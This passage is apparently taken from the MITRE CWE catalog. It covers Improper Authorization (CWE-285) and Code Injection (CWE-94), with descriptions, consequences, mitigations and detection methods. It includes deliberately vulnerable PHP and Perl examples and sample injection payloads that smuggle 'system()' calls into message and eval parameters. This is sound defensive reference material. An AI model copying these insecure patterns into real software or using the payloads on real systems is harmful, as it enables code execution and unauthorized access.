2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples, Relationships
2011-06-01CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITRE
updated Relationships
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated References, Related_Attack_Patterns, Relationships
2013-07-17CWE Content TeamMITRE
updated References
2014-06-23CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, References, Relationships, Taxonomy_Mappings
2018-03-27CWE Content TeamMITRE
updated References, Relationships
2019-01-03CWE Content TeamMITRE
updated Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Relationships
2019-09-19CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Description, Name, Observed_Examples, References, Relationships, Weakness_Ordinalities
2020-12-10CWE Content TeamMITRE
updated Potential_Mitigations, Related_Attack_Patterns
2021-07-20CWE Content TeamMITRE
updated Relationships
+ Previous Entry Names
Change DatePrevious Entry Name
2009-01-12Error Message Information Leaks
2009-12-28Error Message Information Leak
2020-02-24Information Exposure Through an Error Message

CWE-285: Improper Authorization

Weakness ID: 285
Abstraction: Class
Structure: Simple
Status: Draft
Presentation Filter:
+ Description
The software does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.
+ Extended Description

Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.

When access control checks are not applied consistently - or not at all - users are able to access data or perform actions that they should not be allowed to perform. This can lead to a wide range of problems, including information exposures, denial of service, and arbitrary code execution.

+ Alternate Terms
AuthZ:
"AuthZ" is typically used as an abbreviation of "authorization" within the web application security community. It is distinct from "AuthN" (or, sometimes, "AuthC") which is an abbreviation of "authentication." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.284Improper Access Control
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.552Files or Directories Accessible to External Parties
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.732Incorrect Permission Assignment for Critical Resource
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.862Missing Authorization
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.863Incorrect Authorization
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.926Improper Export of Android Application Components
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.927Use of Implicit Intent for Sensitive Communication
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1230Exposure of Sensitive Information Through Metadata
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1244Improper Access to Sensitive Information Using Debug and Test Interfaces
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1297Unprotected Confidential Information on Device is Accessible by OSAT Vendors
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1328Security Version Number Mutable to Older Versions
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.284Improper Access Control
+ Background Details
An access control list (ACL) represents who/what has permissions to a given object. Different operating systems implement (ACLs) in different ways. In UNIX, there are three types of permissions: read, write, and execute. Users are divided into three classes for file access: owner, group owner, and all other users where each class has a separate set of rights. In Windows NT, there are four basic types of permissions for files: "No access", "Read access", "Change access", and "Full control". Windows NT extends the concept of three types of users in UNIX to include a list of users and groups along with their associated permissions. A user can create an object (file) and assign specified permissions to that object.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

A developer may introduce authorization weaknesses because of a lack of understanding about the underlying technologies. For example, a developer may assume that attackers cannot modify certain inputs such as headers or cookies.

Architecture and Design

Authorization weaknesses may arise when a single-user application is ported to a multi-user environment.

Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Language-Independent (Undetermined Prevalence)

Technologies

Web Server (Often Prevalent)

Database Server (Often Prevalent)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data; Read Files or Directories

An attacker could read sensitive data, either by reading the data directly from a data store that is not properly restricted, or by accessing insufficiently-protected, privileged functionality to read the data.
Integrity

Technical Impact: Modify Application Data; Modify Files or Directories

An attacker could modify sensitive data, either by writing the data directly to a data store that is not properly restricted, or by accessing insufficiently-protected, privileged functionality to write the data.
Access Control

Technical Impact: Gain Privileges or Assume Identity

An attacker could gain privileges by modifying or reading critical data directly, or by accessing insufficiently-protected, privileged functionality.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

This function runs an arbitrary SQL query on a given database, returning the result of the query.

(bad code)
Example Language: PHP 
function runEmployeeQuery($dbName, $name){
mysql_select_db($dbName,$globalDbHandle) or die("Could not open Database".$dbName);
//Use a prepared statement to avoid CWE-89
$preparedStatement = $globalDbHandle->prepare('SELECT * FROM employees WHERE name = :name');
$preparedStatement->execute(array(':name' => $name));
return $preparedStatement->fetchAll();
}
/.../

$employeeRecord = runEmployeeQuery('EmployeeDB',$_GET['EmployeeName']);

While this code is careful to avoid SQL Injection, the function does not confirm the user sending the query is authorized to do so. An attacker may be able to obtain sensitive employee information from the database.

Example 2

The following program could be part of a bulletin board system that allows users to send private messages to each other. This program intends to authenticate the user before deciding whether a private message should be displayed. Assume that LookupMessageObject() ensures that the $id argument is numeric, constructs a filename based on that id, and reads the message details from that file. Also assume that the program stores all private messages for all users in the same directory.

(bad code)
Example Language: Perl 
sub DisplayPrivateMessage {
my($id) = @_;
my $Message = LookupMessageObject($id);
print "From: " . encodeHTML($Message->{from}) . "<br>\n";
print "Subject: " . encodeHTML($Message->{subject}) . "\n";
print "<hr>\n";
print "Body: " . encodeHTML($Message->{body}) . "\n";
}

my $q = new CGI;
# For purposes of this example, assume that CWE-309 and


# CWE-523 do not apply.
if (! AuthenticateUser($q->param('username'), $q->param('password'))) {
ExitError("invalid username or password");
}

my $id = $q->param('id');
DisplayPrivateMessage($id);

While the program properly exits if authentication fails, it does not ensure that the message is addressed to the user. As a result, an authenticated attacker could provide any arbitrary identifier and read private messages that were intended for other users.

One way to avoid this problem would be to ensure that the "to" field in the message object matches the username of the authenticated user.

+ Observed Examples
ReferenceDescription
Web application does not restrict access to admin scripts, allowing authenticated users to reset administrative passwords.
Web application does not restrict access to admin scripts, allowing authenticated users to modify passwords of other users.
Web application stores database file under the web root with insufficient access control (CWE-219), allowing direct request.
Terminal server does not check authorization for guest access.
Database server does not use appropriate privileges for certain sensitive operations.
Gateway uses default "Allow" configuration for its authorization settings.
Chain: product does not properly interpret a configuration option for a system group, allowing users to gain privileges.
Chain: SNMP product does not properly parse a configuration option for which hosts are allowed to connect, allowing unauthorized IP addresses to connect.
System monitoring software allows users to bypass authorization by creating custom forms.
Chain: reliance on client-side security (CWE-602) allows attackers to bypass authorization using a custom client.
Chain: product does not properly handle wildcards in an authorization policy list, allowing unintended access.
Content management system does not check access permissions for private files, allowing others to view those files.
ACL-based protection mechanism treats negative access rights as if they are positive, allowing bypass of intended restrictions.
Product does not check the ACL of a page accessed using an "include" directive, allowing attackers to read unauthorized files.
Default ACL list for a DNS server does not set certain ACLs, allowing unauthorized DNS queries.
Product relies on the X-Forwarded-For HTTP header for authorization, allowing unintended access by spoofing the header.
OS kernel does not check for a certain privilege before setting ACLs for files.
Chain: file-system code performs an incorrect comparison (CWE-697), preventing default ACLs from being properly applied.
Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions.
+ Potential Mitigations

Phase: Architecture and Design

Divide the software into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) to enforce the roles at the appropriate boundaries.

Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.

Phase: Architecture and Design

Ensure that you perform access control checks related to your business logic. These checks may be different than the access control checks that you apply to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].

Phase: Architecture and Design

For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.

One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.

Phases: System Configuration; Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
+ Detection Methods

Automated Static Analysis

Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries.

Generally, automated static analysis tools have difficulty detecting custom authorization schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an authorization check; an automated technique that detects the absence of authorization may report false positives.

Effectiveness: Limited

Automated Dynamic Analysis

Automated dynamic analysis may find many or all possible interfaces that do not require authorization, but manual analysis is required to determine if the lack of authorization violates business logic

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.

Effectiveness: Moderate

Note: These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Host Application Interface Scanner
  • Fuzz Tester
  • Framework-based Fuzzer
  • Forced Path Execution
  • Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source
  • Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.2547PK - Security Features
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.721OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.723OWASP Top Ten 2004 Category A2 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7532009 Top 25 - Porous Defenses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8032010 Top 25 - Porous Defenses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.817OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.935OWASP Top Ten 2013 Category A7 - Missing Function Level Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.945SFP Secondary Cluster: Insecure Resource Access
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1031OWASP Top Ten 2017 Category A5 - Broken Access Control
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsMissing Access Control
OWASP Top Ten 2007A10CWE More SpecificFailure to Restrict URL Access
OWASP Top Ten 2004A2CWE More SpecificBroken Access Control
Software Fault PatternsSFP35Insecure resource access
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-229] NIST. "Role Based Access Control and Role Based Security". <http://csrc.nist.gov/groups/SNS/rbac/>.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 4, "Authorization" Page 114; Chapter 6, "Determining Appropriate Access Control" Page 171. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-231] Frank Kim. "Top 25 Series - Rank 5 - Improper Access Control (Authorization)". SANS Software Security Institute. 2010-03-04. <http://blogs.sans.org/appsecstreetfighter/2010/03/04/top-25-series-rank-5-improper-access-control-authorization/>.
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
[REF-233] Rahul Bhattacharjee. "Authentication using JAAS". <http://www.javaranch.com/journal/2008/04/authentication-using-JAAS.html>.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Common Vulnerabilities of Authorization", Page 39. 1st Edition. Addison Wesley. 2006.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 11, "ACL Inheritance", Page 649. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-197 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Common_Consequences, Description, Likelihood_of_Exploit, Name, Other_Notes, Potential_Mitigations, References, Relationships
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-05-27CWE Content TeamMITRE
updated Description, Related_Attack_Patterns
2009-07-27CWE Content TeamMITRE
updated Relationships
2009-10-29CWE Content TeamMITRE
updated Type
2009-12-28CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Detection_Factors, Modes_of_Introduction, Observed_Examples, Relationships
2010-02-16CWE Content TeamMITRE
updated Alternate_Terms, Detection_Factors, Potential_Mitigations, References, Relationships
2010-04-05CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Common_Consequences, References, Relationships
2010-09-27CWE Content TeamMITRE
updated Description
2011-03-24CWE Content TeamMITRE
Changed name and description; clarified difference between "access control" and "authorization."
2011-03-29CWE Content TeamMITRE
updated Background_Details, Demonstrative_Examples, Description, Name, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Observed_Examples, Relationships
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations, References, Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, References, Relationships
2018-03-27CWE Content TeamMITRE
updated References, Relationships
2019-01-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Alternate_Terms
2021-07-20CWE Content TeamMITRE
updated Related_Attack_Patterns
+ Previous Entry Names
Change DatePrevious Entry Name
2009-01-12Missing or Inconsistent Access Control
2011-03-29Improper Access Control (Authorization)

CWE-94: Improper Control of Generation of Code ('Code Injection')

Weakness ID: 94
Abstraction: Base
Structure: Simple
Status: Draft
Presentation Filter:
+ Description
The software constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
+ Extended Description

When software allows a user's input to contain code syntax, it might be possible for an attacker to craft the code in such a way that it will alter the intended control flow of the software. Such an alteration could lead to arbitrary code execution.

Injection problems encompass a wide variety of issues -- all mitigated in very different ways. For this reason, the most effective way to discuss these weaknesses is to note the distinct features which classify them as injection weaknesses. The most important issue to note is that all injection problems share one thing in common -- i.e., they allow for the injection of control plane data into the user-controlled data plane. This means that the execution of the process may be altered by sending code in through legitimate data channels, using no other mechanism. While buffer overflows, and many other flaws, involve the use of some further issue to gain execution, injection problems need only for the data to be parsed. The most classic instantiations of this category of weakness are SQL injection and format string vulnerabilities.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.691Insufficient Control Flow Management
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.913Improper Control of Dynamically-Managed Code Resources
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.95Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.96Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1336Improper Neutralization of Special Elements Used in a Template Engine
CanFollowVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.98Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.137Data Neutralization Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Interpreted (Sometimes Prevalent)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism

In some cases, injectable code controls authentication; this may lead to a remote vulnerability.
Access Control

Technical Impact: Gain Privileges or Assume Identity

Injected code can access resources that the attacker is directly prevented from accessing.
Integrity
Confidentiality
Availability

Technical Impact: Execute Unauthorized Code or Commands

Code injection attacks can lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing. Additionally, code injection can often result in the execution of arbitrary code.
Non-Repudiation

Technical Impact: Hide Activities

Often the actions performed by injected control code are unlogged.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

This example attempts to write user messages to a message file and allow users to view them.

(bad code)
Example Language: PHP 
$MessageFile = "messages.out";
if ($_GET["action"] == "NewMessage") {
$name = $_GET["name"];
$message = $_GET["message"];
$handle = fopen($MessageFile, "a+");
fwrite($handle, "<b>$name</b> says '$message'<hr>\n");
fclose($handle);
echo "Message Saved!<p>\n";
}
else if ($_GET["action"] == "ViewMessages") {
include($MessageFile);
}

While the programmer intends for the MessageFile to only include data, an attacker can provide a message such as:

(attack code)
 
name=h4x0r
message=%3C?php%20system(%22/bin/ls%20-l%22);?%3E

which will decode to the following:

(attack code)
 
<?php system("/bin/ls -l");?>

The programmer thought they were just including the contents of a regular data file, but PHP parsed it and executed the code. Now, this code is executed any time people view messages.

Notice that XSS (CWE-79) is also possible in this situation.

Example 2

edit-config.pl: This CGI script is used to modify settings in a configuration file.

(bad code)
Example Language: Perl 
use CGI qw(:standard);

sub config_file_add_key {
my ($fname, $key, $arg) = @_;

# code to add a field/key to a file goes here
}

sub config_file_set_key {
my ($fname, $key, $arg) = @_;

# code to set key to a particular file goes here
}

sub config_file_delete_key {
my ($fname, $key, $arg) = @_;

# code to delete key from a particular file goes here
}

sub handleConfigAction {
my ($fname, $action) = @_;
my $key = param('key');
my $val = param('val');

# this is super-efficient code, especially if you have to invoke


# any one of dozens of different functions!

my $code = "config_file_$action_key(\$fname, \$key, \$val);";
eval($code);
}

$configfile = "/home/cwe/config.txt";
print header;
if (defined(param('action'))) {
handleConfigAction($configfile, param('action'));
}
else {
print "No action specified!\n";
}

The script intends to take the 'action' parameter and invoke one of a variety of functions based on the value of that parameter - config_file_add_key(), config_file_set_key(), or config_file_delete_key(). It could set up a conditional to invoke each function separately, but eval() is a powerful way of doing the same thing in fewer lines of code, especially when a large number of functions or variables are involved. Unfortunately, in this case, the attacker can provide other values in the action parameter, such as:

(attack code)
 
add_key(",","); system("/bin/ls");

This would produce the following string in handleConfigAction():

(result)
 
config_file_add_key(",","); system("/bin/ls");

Any arbitrary Perl code could be added after the attacker has "closed off" the construction of the original function call, in order to prevent parsing errors from causing the malicious eval() to fail before the attacker's payload is activated. This particular manipulation would fail after the system() call, because the "_key(\$fname, \$key, \$val)" portion of the string would cause an error, but this is irrelevant to the attack because the payload has already been activated.

+ Observed Examples
ReferenceDescription
Eval injection in PHP program.
Eval injection in Perl program.
Eval injection in Perl program using an ID that should only contain hyphens and numbers.
Direct code injection into Perl eval function.
Eval injection in Perl program.
Direct code injection into Perl eval function.
Direct code injection into Perl eval function.
MFV. code injection into PHP eval statement using nested constructs that should not be nested.
MFV. code injection into PHP eval statement using nested constructs that should not be nested.
Code injection into Python eval statement from a field in a formatted file.
Eval injection in Python program.
chain: Resultant eval injection. An invalid value prevents initialization of variables, which can be modified by attacker and later injected into PHP eval statement.
Perl code directly injected into CGI library file from parameters to another CGI program.
Direct PHP code injection into supporting template file.
Direct code injection into PHP script that can be accessed by attacker.
PHP code from User-Agent HTTP header directly inserted into log file implemented as PHP script.
+ Potential Mitigations

Phase: Architecture and Design

Refactor your program so that you do not have to dynamically generate code.

Phase: Architecture and Design

Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your software.

Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.

